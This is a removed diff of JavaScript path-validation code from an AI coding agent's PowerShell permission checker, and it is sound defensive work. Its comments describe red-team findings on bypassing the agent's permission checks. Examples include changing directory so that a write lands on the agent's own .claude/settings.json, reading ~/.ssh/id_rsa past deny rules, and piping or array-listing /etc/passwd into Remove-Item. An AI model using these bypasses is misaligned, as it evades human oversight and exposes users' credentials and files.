-    // Include digits in PSDrive name (bug #23): `New-PSDrive -Name 1 ...`
-    // creates drive `1:` — a valid PSDrive path prefix.
-    // Windows regex requires 2+ chars to exclude single-letter native drive letters
-    // (C:, D:). Use a single character class [a-z0-9] to catch mixed alphanumeric
-    // PSDrive names like `a1:`, `1a:` — the previous alternation `[a-z]{2,}|[0-9]+`
-    // missed those since `a1` is neither pure letters nor pure digits.
-    const providerPathRegex = getPlatform() === 'windows' ? /^[a-z0-9]{2,}:/i : /^[a-z0-9]+:/i;
-    if (providerPathRegex.test(normalizedPath)) {
-        return {
-            allowed: false,
-            resolvedPath: normalizedPath,
-            decisionReason: {
-                type: 'other',
-                reason: `Path '${normalizedPath}' uses a non-filesystem provider and requires manual approval`,
-            },
-        };
-    }
-    // SECURITY: Block glob patterns in write/create operations
-    if (GLOB_PATTERN_REGEX.test(normalizedPath)) {
-        if (operationType === 'write' || operationType === 'create') {
-            return {
-                allowed: false,
-                resolvedPath: normalizedPath,
-                decisionReason: {
-                    type: 'other',
-                    reason: 'Glob patterns are not allowed in write operations. Please specify an exact file path.',
-                },
-            };
-        }
-        // For read operations with path traversal (e.g., /project/*/../../../etc/shadow),
-        // resolve the full path (including glob chars) and validate that resolved path.
-        // This catches patterns that escape the working directory via `..` after the glob.
-        if (containsPathTraversal(normalizedPath)) {
-            const absolutePath = isAbsolute(normalizedPath)
-                ? normalizedPath
-                : resolve(cwd, normalizedPath);
-            const { resolvedPath, isCanonical } = safeResolvePath(getFsImplementation(), absolutePath);
-            const result = isPathAllowed(resolvedPath, toolPermissionContext, operationType, isCanonical ? [resolvedPath] : undefined);
-            return {
-                allowed: result.allowed,
-                resolvedPath,
-                decisionReason: result.decisionReason,
-            };
-        }
-        // SECURITY (finding #15): Glob patterns for read operations cannot be
-        // statically validated. getGlobBaseDirectory returns the directory before
-        // the first glob char; only that base is realpathed. Anything matched by
-        // the glob (including symlinks) is never examined. Example:
-        //   /project/*/passwd with symlink /project/link → /etc
-        // Base dir is /project (allowed), but runtime expands * to 'link' and
-        // reads /etc/passwd. We cannot validate symlinks inside glob expansion
-        // without actually expanding the glob (requires filesystem access and
-        // still races with attacker creating symlinks post-validation).
-        //
-        // Still check deny rules on the base directory so explicit Read(/project/**)
-        // deny rules fire. If no deny matches, force ask.
-        const basePath = getGlobBaseDirectory(normalizedPath);
-        const absoluteBasePath = isAbsolute(basePath)
-            ? basePath
-            : resolve(cwd, basePath);
-        const { resolvedPath } = safeResolvePath(getFsImplementation(), absoluteBasePath);
-        const permissionType = operationType === 'read' ? 'read' : 'edit';
-        const denyRule = matchingRuleForInput(resolvedPath, toolPermissionContext, permissionType, 'deny');
-        if (denyRule !== null) {
-            return {
-                allowed: false,
-                resolvedPath,
-                decisionReason: { type: 'rule', rule: denyRule },
-            };
-        }
-        return {
-            allowed: false,
-            resolvedPath,
-            decisionReason: {
-                type: 'other',
-                reason: 'Glob patterns in paths cannot be statically validated — symlinks inside the glob expansion are not examined. Requires manual approval.',
-            },
-        };
-    }
-    // Resolve path
-    const absolutePath = isAbsolute(normalizedPath)
-        ? normalizedPath
-        : resolve(cwd, normalizedPath);
-    const { resolvedPath, isCanonical } = safeResolvePath(getFsImplementation(), absolutePath);
-    const result = isPathAllowed(resolvedPath, toolPermissionContext, operationType, isCanonical ? [resolvedPath] : undefined);
-    return {
-        allowed: result.allowed,
-        resolvedPath,
-        decisionReason: result.decisionReason,
-    };
-}
-function getGlobBaseDirectory(filePath) {
-    const globMatch = filePath.match(GLOB_PATTERN_REGEX);
-    if (!globMatch || globMatch.index === undefined) {
-        return filePath;
-    }
-    const beforeGlob = filePath.substring(0, globMatch.index);
-    const lastSepIndex = Math.max(beforeGlob.lastIndexOf('/'), beforeGlob.lastIndexOf('\\'));
-    if (lastSepIndex === -1)
-        return '.';
-    return beforeGlob.substring(0, lastSepIndex + 1) || '/';
-}
-/**
- * Element types that are safe to extract as literal path strings.
- *
- * Only element types with statically-known string values are safe for path
- * extraction. Variable and ExpandableString have runtime-determined values —
- * even though they're defended downstream ($ detection in validatePath's
- * `includes('$')` check, and the hasExpandableStrings security flag), excluding
- * them here is defense-in-direct: fail-safe at the earliest gate rather than
- * relying on downstream checks to catch them.
- *
- * Any other type (e.g., 'Other' for ArrayLiteralExpressionAst, 'SubExpression',
- * 'ScriptBlock', 'Variable', 'ExpandableString') cannot be statically validated
- * and must force an ask.
- */
-const SAFE_PATH_ELEMENT_TYPES = new Set(['StringConstant', 'Parameter']);
-/**
- * Extract file paths from a parsed PowerShell command element.
- * Uses the AST args to find positional and named path parameters.
- *
- * If any path argument has a complex elementType (e.g., array literal,
- * subexpression) that cannot be statically validated, sets
- * hasUnvalidatablePathArg so the caller can force an ask.
- */
-function extractPathsFromCommand(cmd) {
-    const canonical = resolveToCanonical(cmd.name);
-    const config = CMDLET_PATH_CONFIG[canonical];
-    if (!config) {
-        return {
-            paths: [],
-            operationType: 'read',
-            hasUnvalidatablePathArg: false,
-            optionalWrite: false,
-        };
-    }
-    // Build per-cmdlet known-param sets, merging in common parameters.
-    const switchParams = [...config.knownSwitches, ...COMMON_SWITCHES];
-    const valueParams = [...config.knownValueParams, ...COMMON_VALUE_PARAMS];
-    const paths = [];
-    const args = cmd.args;
-    // elementTypes[0] is the command name; elementTypes[i+1] corresponds to args[i]
-    const elementTypes = cmd.elementTypes;
-    let hasUnvalidatablePathArg = false;
-    let positionalsSeen = 0;
-    const positionalSkip = config.positionalSkip ?? 0;
-    function checkArgElementType(argIdx) {
-        if (!elementTypes)
-            return;
-        const et = elementTypes[argIdx + 1];
-        if (et && !SAFE_PATH_ELEMENT_TYPES.has(et)) {
-            hasUnvalidatablePathArg = true;
-        }
-    }
-    // Extract named parameter values (e.g., -Path "C:\foo")
-    for (let i = 0; i < args.length; i++) {
-        const arg = args[i];
-        if (!arg)
-            continue;
-        // Check if this arg is a parameter name.
-        // SECURITY: Use elementTypes as ground truth. PowerShell's tokenizer
-        // accepts en-dash/em-dash/horizontal-bar (U+2013/2014/2015) as parameter
-        // prefixes; a raw startsWith('-') check misses `–Path` (en-dash). The
-        // parser maps CommandParameterAst → 'Parameter' regardless of dash char.
-        // isPowerShellParameter also correctly rejects quoted "-Include"
-        // (StringConstant, not a parameter).
-        const argElementType = elementTypes ? elementTypes[i + 1] : undefined;
-        if (isPowerShellParameter(arg, argElementType)) {
-            // Handle colon syntax: -Path:C:\secret
-            // Normalize Unicode dash to ASCII `-` (pathParams are stored with `-`).
-            const normalized = '-' + arg.slice(1);
-            const colonIdx = normalized.indexOf(':', 1); // skip first char (the dash)
-            const paramName = colonIdx > 0 ? normalized.substring(0, colonIdx) : normalized;
-            const paramLower = paramName.toLowerCase();
-            if (matchesParam(paramLower, config.pathParams)) {
-                // Known path parameter — extract its value as a path.
-                let value;
-                if (colonIdx > 0) {
-                    // Colon syntax: -Path:value — the whole thing is one element.
-                    // SECURITY: comma-separated values (e.g., -Path:safe.txt,/etc/passwd)
-                    // produce ArrayLiteralExpressionAst inside the CommandParameterAst.
-                    // PowerShell writes to ALL paths, but we see a single string.
-                    const rawValue = arg.substring(colonIdx + 1);
-                    if (hasComplexColonValue(rawValue)) {
-                        hasUnvalidatablePathArg = true;
-                    }
-                    else {
-                        value = rawValue;
-                    }
-                }
-                else {
-                    // Standard syntax: -Path value
-                    const nextVal = args[i + 1];
-                    const nextType = elementTypes ? elementTypes[i + 2] : undefined;
-                    if (nextVal && !isPowerShellParameter(nextVal, nextType)) {
-                        value = nextVal;
-                        checkArgElementType(i + 1);
-                        i++; // Skip the value
-                    }
-                }
-                if (value) {
-                    paths.push(value);
-                }
-            }
-            else if (config.leafOnlyPathParams &&
-                matchesParam(paramLower, config.leafOnlyPathParams)) {
-                // Leaf-only path parameter (e.g., New-Item -Name). PowerShell resolves
-                // this relative to ANOTHER parameter (-Path), not cwd. validatePath
-                // resolves against cwd (L930), so non-leaf values (separators,
-                // traversal) resolve to the WRONG location and can miss deny rules
-                // (deny→ask downgrade). Extract simple leaf filenames; flag anything
-                // path-like.
-                let value;
-                if (colonIdx > 0) {
-                    const rawValue = arg.substring(colonIdx + 1);
-                    if (hasComplexColonValue(rawValue)) {
-                        hasUnvalidatablePathArg = true;
-                    }
-                    else {
-                        value = rawValue;
-                    }
-                }
-                else {
-                    const nextVal = args[i + 1];
-                    const nextType = elementTypes ? elementTypes[i + 2] : undefined;
-                    if (nextVal && !isPowerShellParameter(nextVal, nextType)) {
-                        value = nextVal;
-                        checkArgElementType(i + 1);
-                        i++;
-                    }
-                }
-                if (value !== undefined) {
-                    if (value.includes('/') ||
-                        value.includes('\\') ||
-                        value === '.' ||
-                        value === '..') {
-                        // Non-leaf: separators or traversal. Can't resolve correctly
-                        // without joining against -Path. Force ask.
-                        hasUnvalidatablePathArg = true;
-                    }
-                    else {
-                        // Simple leaf: extract. Resolves to cwd/leaf (slightly wrong —
-                        // should be <-Path>/leaf) but -Path extraction covers the
-                        // directory, and a leaf filename can't traverse out of anywhere.
-                        paths.push(value);
-                    }
-                }
-            }
-            else if (matchesParam(paramLower, switchParams)) {
-                // Known switch parameter — takes no value, do NOT consume next arg.
-                // (Colon syntax on a switch, e.g., -Confirm:$false, is self-contained
-                // in one token and correctly falls through here without consuming.)
-            }
-            else if (matchesParam(paramLower, valueParams)) {
-                // Known value-taking non-path parameter (e.g., -Encoding UTF8, -Filter *.txt).
-                // Consume its value; do NOT validate as path, but DO check elementType.
-                // SECURITY: A Variable elementType (e.g., $env:ANTHROPIC_API_KEY) in any
-                // argument position means the runtime value is not statically knowable.
-                // Without this check, `-Value $env:SECRET` would be silently auto-allowed
-                // in acceptEdits mode because the Variable elementType was never examined.
-                if (colonIdx > 0) {
-                    // Colon syntax: -Value:$env:FOO — the value is embedded in the token.
-                    // The outer CommandParameterAst 'Parameter' type masks the inner
-                    // expression type. Check for expression markers that indicate a
-                    // non-static value (mirrors pathParams colon-syntax guards).
-                    const rawValue = arg.substring(colonIdx + 1);
-                    if (hasComplexColonValue(rawValue)) {
-                        hasUnvalidatablePathArg = true;
-                    }
-                }
-                else {
-                    const nextArg = args[i + 1];
-                    const nextArgType = elementTypes ? elementTypes[i + 2] : undefined;
-                    if (nextArg && !isPowerShellParameter(nextArg, nextArgType)) {
-                        checkArgElementType(i + 1);
-                        i++; // Skip the parameter's value
-                    }
-                }
-            }
-            else {
-                // Unknown parameter — we do not understand this invocation.
-                // SECURITY: This is the structural fix for the KNOWN_SWITCH_PARAMS
-                // whack-a-mole. Rather than guess whether this param is a switch
-                // (and risk swallowing a positional path) or takes a value (and
-                // risk the same), we flag the whole command as unvalidatable.
-                // The caller will force an ask.
-                hasUnvalidatablePathArg = true;
-                // SECURITY: Even though we don't recognize this param, if it uses
-                // colon syntax (-UnknownParam:/etc/hosts) the bound value might be
-                // a filesystem path. Extract it into paths[] so deny-rule matching
-                // still runs. Without this, the value is trapped inside the single
-                // token and paths=[] means deny rules are never consulted —
-                // downgrading deny to ask. This is defense-in-depth: the primary
-                // fix is adding all known aliases to pathParams above.
-                if (colonIdx > 0) {
-                    const rawValue = arg.substring(colonIdx + 1);
-                    if (!hasComplexColonValue(rawValue)) {
-                        paths.push(rawValue);
-                    }
-                }
-                // Continue the loop so we still extract any recognizable paths
-                // (useful for the ask message), but the flag ensures overall 'ask'.
-            }
-            continue;
-        }
-        // Positional arguments: extract as paths (e.g., Get-Content file.txt)
-        // The first positional arg is typically the source path.
-        // Skip leading positionals that are non-path values (e.g., iwr's -Uri).
-        if (positionalsSeen < positionalSkip) {
-            positionalsSeen++;
-            continue;
-        }
-        positionalsSeen++;
-        checkArgElementType(i);
-        paths.push(arg);
-    }
-    return {
-        paths,
-        operationType: config.operationType,
-        hasUnvalidatablePathArg,
-        optionalWrite: config.optionalWrite ?? false,
-    };
-}
-/**
- * Checks path constraints for PowerShell commands.
- * Extracts file paths from the parsed AST and validates they are
- * within allowed directories.
- *
- * @param compoundCommandHasCd - Whether the full compound command contains a
- *   cwd-changing cmdlet (Set-Location/Push-Location/Pop-Location/New-PSDrive,
- *   excluding no-op Set-Location-to-CWD). When true, relative paths in ANY
- *   statement cannot be trusted — PowerShell executes statements sequentially
- *   and a cd in statement N changes the cwd for statement N+1, but this
- *   validator resolves all paths against the stale Node process cwd.
- *   BashTool parity (BashTool/pathValidation.ts:630-655).
- *
- * @returns
- * - 'ask' if any path command tries to access outside allowed directories
- * - 'deny' if a deny rule explicitly blocks the path
- * - 'passthrough' if no path commands were found or all paths are valid
- */
-export function checkPathConstraints(input, parsed, toolPermissionContext, compoundCommandHasCd = false) {
-    if (!parsed.valid) {
-        return {
-            behavior: 'passthrough',
-            message: 'Cannot validate paths for unparsed command',
-        };
-    }
-    // SECURITY: Two-pass approach — check ALL statements/paths so deny rules
-    // always take precedence over ask. Without this, an ask on statement 1
-    // could return before checking statement 2 for deny rules, letting the
-    // user approve a command that includes a denied path.
-    let firstAsk;
-    for (const statement of parsed.statements) {
-        const result = checkPathConstraintsForStatement(statement, toolPermissionContext, compoundCommandHasCd);
-        if (result.behavior === 'deny') {
-            return result;
-        }
-        if (result.behavior === 'ask' && !firstAsk) {
-            firstAsk = result;
-        }
-    }
-    return (firstAsk ?? {
-        behavior: 'passthrough',
-        message: 'All path constraints validated successfully',
-    });
-}
-function checkPathConstraintsForStatement(statement, toolPermissionContext, compoundCommandHasCd = false) {
-    const cwd = getCwd();
-    let firstAsk;
-    // SECURITY: BashTool parity — block path operations in compound commands
-    // containing a cwd-changing cmdlet (BashTool/pathValidation.ts:630-655).
-    //
-    // When the compound contains Set-Location/Push-Location/Pop-Location/
-    // New-PSDrive, relative paths in later statements resolve against the
-    // CHANGED cwd at runtime, but this validator resolves them against the
-    // STALE getCwd() snapshot. Example attack (finding #3):
-    //   Set-Location ./.claude; Set-Content ./settings.json '...'
-    // Validator sees ./settings.json → /project/settings.json (not a config file).
-    // Runtime writes /project/.claude/settings.json (Claude's permission config).
-    //
-    // ALTERNATIVE APPROACH (rejected): simulate cwd through the statement chain
-    // — after `Set-Location ./.claude`, validate subsequent statements with
-    // cwd='./.claude'. This would be more permissive but requires careful
-    // handling of:
-    //   - Push-Location/Pop-Location stack semantics
-    //   - Set-Location with no args (→ home on some platforms)
-    //   - New-PSDrive root mapping (arbitrary filesystem root)
-    //   - Conditional/loop statements where cd may or may not execute
-    //   - Error cases where the cd target can't be statically determined
-    // For now we take the conservative approach of requiring manual approval.
-    //
-    // Unlike BashTool which gates on `operationType !== 'read'`, we also block
-    // READS (finding #27): `Set-Location ~; Get-Content ./.ssh/id_rsa` bypasses
-    // Read(~/.ssh/**) deny rules because the validator matched the deny against
-    // /project/.ssh/id_rsa. Reads from mis-resolved paths leak data just as
-    // writes destroy it. We still run deny-rule matching below (via firstAsk,
-    // not early return) so explicit deny rules on the stale-resolved path are
-    // honored — deny > ask in the caller's reduce.
-    if (compoundCommandHasCd) {
-        firstAsk = {
-            behavior: 'ask',
-            message: 'Compound command changes working directory (Set-Location/Push-Location/Pop-Location/New-PSDrive) — relative paths cannot be validated against the original cwd and require manual approval',
-            decisionReason: {
-                type: 'other',
-                reason: 'Compound command contains cd with path operation — manual approval required to prevent path resolution bypass',
-            },
-        };
-    }
-    // SECURITY: Track whether this statement contains a non-CommandAst pipeline
-    // element (string literal, variable, array expression). PowerShell pipes
-    // these values to downstream cmdlets, often binding to -Path. Example:
-    // `'/etc/passwd' | Remove-Item` — the string is piped to Remove-Item's -Path,
-    // but Remove-Item has no explicit args so extractPathsFromCommand returns
-    // zero paths and the command would passthrough. If ANY downstream cmdlet
-    // appears alongside an expression source, we force an ask — the piped
-    // path is unvalidatable regardless of operation type (reads leak data;
-    // writes destroy it).
-    let hasExpressionPipelineSource = false;
-    // Track the non-CommandAst element's text for deny-rule guessing (finding #23).
-    // `'.git/hooks/pre-commit' | Remove-Item` — path comes via pipeline, paths=[]
-    // from extractPathsFromCommand, so the deny loop below never iterates. We
-    // feed the pipeline-source text through checkDenyRuleForGuessedPath so
-    // explicit Edit(.git/**) deny rules still fire.
-    let pipelineSourceText;
-    for (const cmd of statement.commands) {
-        if (cmd.elementType !== 'CommandAst') {
-            hasExpressionPipelineSource = true;
-            pipelineSourceText = cmd.text;
-            continue;
-        }
-        const { paths, operationType, hasUnvalidatablePathArg, optionalWrite } = extractPathsFromCommand(cmd);
-        // SECURITY: Cmdlet receiving piped path from expression source.
-        // `'/etc/shadow' | Get-Content` — Get-Content extracts zero paths
-        // (no explicit args). The path comes from the pipeline, which we cannot
-        // statically validate. Previously exempted reads (`operationType !== 'read'`),
-        // but that was a bypass (review comment 2885739292): reads from
-        // unvalidatable paths are still a security risk. Ask regardless of op type.
-        if (hasExpressionPipelineSource) {
-            const canonical = resolveToCanonical(cmd.name);
-            // SECURITY (finding #23): Before falling back to ask, check if the
-            // pipeline-source text matches a deny rule. `'.git/hooks/pre-commit' |
-            // Remove-Item` should DENY (not ask) when Edit(.git/**) is configured.
-            // Strip surrounding quotes (string literals are quoted in .text) and
-            // feed through the same deny-guess helper used for ::/backtick paths.
-            if (pipelineSourceText !== undefined) {
-                const stripped = pipelineSourceText.replace(/^['"]|['"]$/g, '');
-                const denyHit = checkDenyRuleForGuessedPath(stripped, cwd, toolPermissionContext, operationType);
-                if (denyHit) {
-                    return {
-                        behavior: 'deny',
-                        message: `${canonical} targeting '${denyHit.resolvedPath}' was blocked by a deny rule`,
-                        decisionReason: { type: 'rule', rule: denyHit.rule },
-                    };
-                }
-            }
-            firstAsk ??= {
-                behavior: 'ask',
-                message: `${canonical} receives its path from a pipeline expression source that cannot be statically validated and requires manual approval`,
-            };
-            // Don't continue — fall through to path loop so deny rules on
-            // extracted paths are still checked.
-        }
-        // SECURITY: Array literals, subexpressions, and other complex
-        // argument types cannot be statically validated. An array literal
-        // like `-Path ./safe.txt, /etc/passwd` produces a single 'Other'
-        // element whose combined text may resolve within CWD while
-        // PowerShell actually writes to ALL paths in the array.
-        if (hasUnvalidatablePathArg) {
-            const canonical = resolveToCanonical(cmd.name);
-            firstAsk ??= {
-                behavior: 'ask',
-                message: `${canonical} uses a parameter or complex path expression (array literal, subexpression, unknown parameter, etc.) that cannot be statically validated and requires manual approval`,
-            };
-            // Don't continue — fall through to path loop so deny rules on
-            // extracted paths are still checked.
-        }
-        // SECURITY: Write cmdlet in CMDLET_PATH_CONFIG that extracted zero paths.
-        // Either (a) the cmdlet has no args at all (`Remove-Item` alone —
-        // PowerShell will error, but we shouldn't optimistically assume that), or
-        // (b) we failed to recognize the path among the args (shouldn't happen
-        // with the unknown-param fail-safe, but defense-in-depth). Conservative:
-        // write operation with no validated target → ask.
-        // Read cmdlets and pop-location (pathParams: []) are exempt.
-        // optionalWrite cmdlets (Invoke-WebRequest/Invoke-RestMethod without
-        // -OutFile) are ALSO exempt — they only write to disk when a pathParam is
-        // present; without one, output goes to the pipeline. The
-        // hasUnvalidatablePathArg check above already covers unknown-param cases.
-        if (operationType !== 'read' &&
-            !optionalWrite &&
-            paths.length === 0 &&
-            CMDLET_PATH_CONFIG[resolveToCanonical(cmd.name)]) {
-            const canonical = resolveToCanonical(cmd.name);
-            firstAsk ??= {
-                behavior: 'ask',
-                message: `${canonical} is a write operation but no target path could be determined; requires manual approval`,
-            };
-            continue;
-        }
-        // SECURITY: bash-parity hard-deny for removal cmdlets on
-        // system-critical paths. BashTool has isDangerousRemovalPath which
-        // hard-DENIES `rm /`, `rm ~`, `rm /etc`, etc. regardless of user config.
-        // Port: remove-item (and aliases rm/del/ri/rd/rmdir/erase → resolveToCanonical)
-        // on a dangerous path → deny (not ask). User cannot approve system32 deletion.
-        const isRemoval = resolveToCanonical(cmd.name) === 'remove-item';
-        for (const filePath of paths) {
-            // Hard-deny removal of dangerous system paths (/, ~, /etc, etc.).
-            // Check the RAW path (pre-realpath) first: safeResolvePath can
-            // canonicalize '/' → 'C:\' (Windows) or '/var/...' → '/private/var/...'
-            // (macOS) which defeats isDangerousRemovalPath's string comparisons.
-            if (isRemoval && isDangerousRemovalRawPath(filePath)) {
-                return dangerousRemovalDeny(filePath);
-            }
-            const { allowed, resolvedPath, decisionReason } = validatePath(filePath, cwd, toolPermissionContext, operationType);
-            // Also check the resolved path — catches symlinks that resolve to a
-            // protected location.
-            if (isRemoval && isDangerousRemovalPath(resolvedPath)) {
-                return dangerousRemovalDeny(resolvedPath);
-            }
-            if (!allowed) {
-                const canonical = resolveToCanonical(cmd.name);
-                const workingDirs = Array.from(allWorkingDirectories(toolPermissionContext));
-                const dirListStr = formatDirectoryList(workingDirs);
-                const message = decisionReason?.type === 'other' ||
-                    decisionReason?.type === 'safetyCheck'
-                    ? decisionReason.reason
-                    : `${canonical} targeting '${resolvedPath}' was blocked. For security, Context Code may only access files in the allowed working directories for this session: ${dirListStr}.`;
-                if (decisionReason?.type === 'rule') {
-                    return {
-                        behavior: 'deny',
-                        message,
-                        decisionReason,
-                    };
-                }
-                const suggestions = [];
-                if (resolvedPath) {
-                    if (operationType === 'read') {
-                        const suggestion = createReadRuleSuggestion(getDirectoryForPath(resolvedPath), 'session');
-                        if (suggestion) {
-                            suggestions.push(suggestion);
-                        }
-                    }
-                    else {
-                        suggestions.push({
-                            type: 'addDirectories',
-                            directories: [getDirectoryForPath(resolvedPath)],
-                            destination: 'session',
-                        });
-                    }
-                }
-                if (operationType === 'write' || operationType === 'create') {
-                    suggestions.push({
-                        type: 'setMode',
-                        mode: 'acceptEdits',
-                        destination: 'session',
-                    });
-                }
-                firstAsk ??= {
-                    behavior: 'ask',
-                    message,
-                    blockedPath: resolvedPath,
-                    decisionReason,
-                    suggestions,
-                };
-            }
-        }
-    }
-    // Also check nested commands from control flow
-    if (statement.nestedCommands) {
-        for (const cmd of statement.nestedCommands) {
-            const { paths, operationType, hasUnvalidatablePathArg, optionalWrite } = extractPathsFromCommand(cmd);
-            if (hasUnvalidatablePathArg) {
-                const canonical = resolveToCanonical(cmd.name);
-                firstAsk ??= {
-                    behavior: 'ask',
-                    message: `${canonical} uses a parameter or complex path expression (array literal, subexpression, unknown parameter, etc.) that cannot be statically validated and requires manual approval`,
-                };
-                // Don't continue — fall through to path loop for deny checks.
-            }
-            // SECURITY: Write cmdlet with zero extracted paths (mirrors main loop).
-            // optionalWrite cmdlets exempt — see main-loop comment.
-            if (operationType !== 'read' &&
-                !optionalWrite &&
-                paths.length === 0 &&
-                CMDLET_PATH_CONFIG[resolveToCanonical(cmd.name)]) {
-                const canonical = resolveToCanonical(cmd.name);
-                firstAsk ??= {
-                    behavior: 'ask',
-                    message: `${canonical} is a write operation but no target path could be determined; requires manual approval`,
-                };
-                continue;
-            }
-            // SECURITY: bash-parity hard-deny for removal on system-critical
-            // paths — mirror the main-loop check above. Without this,
-            // `if ($true) { Remove-Item / }` routes through nestedCommands and
-            // downgrades deny→ask, letting the user approve root deletion.
-            const isRemoval = resolveToCanonical(cmd.name) === 'remove-item';
-            for (const filePath of paths) {
-                // Check the RAW path first (pre-realpath); see main-loop comment.
-                if (isRemoval && isDangerousRemovalRawPath(filePath)) {
-                    return dangerousRemovalDeny(filePath);
-                }
-                const { allowed, resolvedPath, decisionReason } = validatePath(filePath, cwd, toolPermissionContext, operationType);
-                if (isRemoval && isDangerousRemovalPath(resolvedPath)) {
-                    return dangerousRemovalDeny(resolvedPath);
-                }
-                if (!allowed) {
-                    const canonical = resolveToCanonical(cmd.name);
-                    const workingDirs = Array.from(allWorkingDirectories(toolPermissionContext));
-                    const dirListStr = formatDirectoryList(workingDirs);
-                    const message = decisionReason?.type === 'other' ||
-                        decisionReason?.type === 'safetyCheck'
-                        ? decisionReason.reason
-                        : `${canonical} targeting '${resolvedPath}' was blocked. For security, Context Code may only access files in the allowed working directories for this session: ${dirListStr}.`;
-                    if (decisionReason?.type === 'rule') {
-                        return {
-                            behavior: 'deny',
-                            message,
-                            decisionReason,
-                        };
-                    }
-                    const suggestions = [];
-                    if (resolvedPath) {
-                        if (operationType === 'read') {
-                            const suggestion = createReadRuleSuggestion(getDirectoryForPath(resolvedPath), 'session');
-                            if (suggestion) {
-                                suggestions.push(suggestion);
-                            }
-                        }
-                        else {
-                            suggestions.push({
-                                type: 'addDirectories',
-                                directories: [getDirectoryForPath(resolvedPath)],
-                                destination: 'session',
-                            });
-                        }
-                    }
-                    if (operationType === 'write' || operationType === 'create') {
-                        suggestions.push({
-                            type: 'setMode',
-                            mode: 'acceptEdits',
-                            destination: 'session',
-                        });
-                    }
-                    firstAsk ??= {
-                        behavior: 'ask',
-                        message,
-                        blockedPath: resolvedPath,
-                        decisionReason,
-                        suggestions,
-                    };
-                }
-            }
-            // Red-team P11/P14: step 5 at powershellPermissions.ts:970 already
-            // catches this via the same synthetic-CommandExpressionAst mechanism —
-            // this is belt-and-suspenders so the nested loop doesn't rely on that
-            // accident. Placed AFTER the path loop so specific asks (blockedPath,
-            // suggestions) win via ??=.
-            if (hasExpressionPipelineSource) {
-                firstAsk ??= {
-                    behavior: 'ask',
-                    message: `${resolveToCanonical(cmd.name)} appears inside a control-flow or chain statement where piped expression sources cannot be statically validated and requires manual approval`,
-                };
-            }
-        }
-    }
-    // Check redirections on nested commands (e.g., from && / || chains)
-    if (statement.nestedCommands) {
-        for (const cmd of statement.nestedCommands) {
-            if (cmd.redirections) {
-                for (const redir of cmd.redirections) {
-                    if (redir.isMerging)
-                        continue;
-                    if (!redir.target)
-                        continue;
-                    if (isNullRedirectionTarget(redir.target))
-                        continue;
-                    const { allowed, resolvedPath, decisionReason } = validatePath(redir.target, cwd, toolPermissionContext, 'create');
-                    if (!allowed) {
-                        const workingDirs = Array.from(allWorkingDirectories(toolPermissionContext));
-                        const dirListStr = formatDirectoryList(workingDirs);
-                        const message = decisionReason?.type === 'other' ||
-                            decisionReason?.type === 'safetyCheck'
-                            ? decisionReason.reason
-                            : `Output redirection to '${resolvedPath}' was blocked. For security, Context Code may only write to files in the allowed working directories for this session: ${dirListStr}.`;
-                        if (decisionReason?.type === 'rule') {
-                            return {
-                                behavior: 'deny',
-                                message,
-                                decisionReason,
-                            };
-                        }
-                        firstAsk ??= {
-                            behavior: 'ask',
-                            message,
-                            blockedPath: resolvedPath,
-                            decisionReason,
-                            suggestions: [
-                                {
-                                    type: 'addDirectories',
-                                    directories: [getDirectoryForPath(resolvedPath)],
-                                    destination: 'session',
-                                },
-                            ],
-                        };
-                    }
-                }
-            }
-        }
-    }
-    // Check file redirections
-    if (statement.redirections) {
-        for (const redir of statement.redirections) {
-            if (redir.isMerging)
-                continue;
-            if (!redir.target)
-                continue;
-            if (isNullRedirectionTarget(redir.target))
-                continue;
-            const { allowed, resolvedPath, decisionReason } = validatePath(redir.target, cwd, toolPermissionContext, 'create');
-            if (!allowed) {
-                const workingDirs = Array.from(allWorkingDirectories(toolPermissionContext));
-                const dirListStr = formatDirectoryList(workingDirs);
-                const message = decisionReason?.type === 'other' ||
-                    decisionReason?.type === 'safetyCheck'
-                    ? decisionReason.reason
-                    : `Output redirection to '${resolvedPath}' was blocked. For security, Context Code may only write to files in the allowed working directories for this session: ${dirListStr}.`;
-                if (decisionReason?.type === 'rule') {
-                    return {
-                        behavior: 'deny',
-                        message,
-                        decisionReason,
-                    };
-                }
-                firstAsk ??= {
-                    behavior: 'ask',
-                    message,
-                    blockedPath: resolvedPath,
-                    decisionReason,
-                    suggestions: [
-                        {
-                            type: 'addDirectories',
-                            directories: [getDirectoryForPath(resolvedPath)],
-                            destination: 'session',
-                        },
-                    ],
-                };
-            }
-        }
-    }
-    return (firstAsk ?? {
-        behavior: 'passthrough',
-        message: 'All path constraints validated successfully',
-    });
-}